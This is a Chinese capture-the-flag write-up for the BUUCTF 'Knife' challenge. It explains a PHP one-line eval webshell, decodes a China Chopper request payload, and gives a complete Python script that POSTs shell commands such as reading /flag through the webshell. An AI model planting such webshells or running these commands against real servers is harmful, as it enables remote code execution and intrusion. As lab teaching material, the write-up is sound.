CTF_EXP06:BUUCTF [极客大挑战 2019] Knife
启动靶机,打开环境:
题目提示为菜刀,并且给出了一句话木马
直接使用中国蚁剑
连接即可:
flag
在根目录下:
非常基础的一道题,首次使用Python尝试一句话木马连接
首先来看一句话木马结构:
<?php @eval($_POST['attack']) ?>
- 使用
POST
传参方式,参数名为:attack
- 获取到参数后,将整个
$_POST['attack']
的内容替换为传入的值 @eval()
把字符串当成PHP代码执行
若使用Python连接一句木马并使用shell,需要将一句话木马作为POST
传值的参数,将PHP语句作为值传入,并通过PHP语句执行shell命令。
通过对菜刀原理的刨析(POST传值),如下是菜刀发送的数据包:
op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
其中:
op=@eval(base64_decode($_POST[attack]));
为正常的一句话木马,其通过POST
方式传参,参数名为attack
base64_decode()
函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();
这其中:
-
@ini_set(“display_errors”,“0”);
临时关闭PHP的错误显示功能 -
@set_time_limit(0);
防止上传文件大马时超时 -
@set_magic_quotes_runtime(0);
关闭魔术引号,这东西在4.0以后就不怎么用了 -
echo("->|");
内容输出 -
print(“hello PHP!”);
输出字符串 -
die();
结束
使用浏览器插件HackBar测试POST
传参:
可以得到预设的回显
EXP如下:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife
import requests
import re
class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ''
def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200 ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0
else:
self.status_code = 1
break
if self.status_code == 0:
print('无效链接!退出程序!')
return
def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)
# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()
except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break
def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取
if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')
return self.flag
if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input() # 防止退出cmd
运行程序,输入链接,得到flag: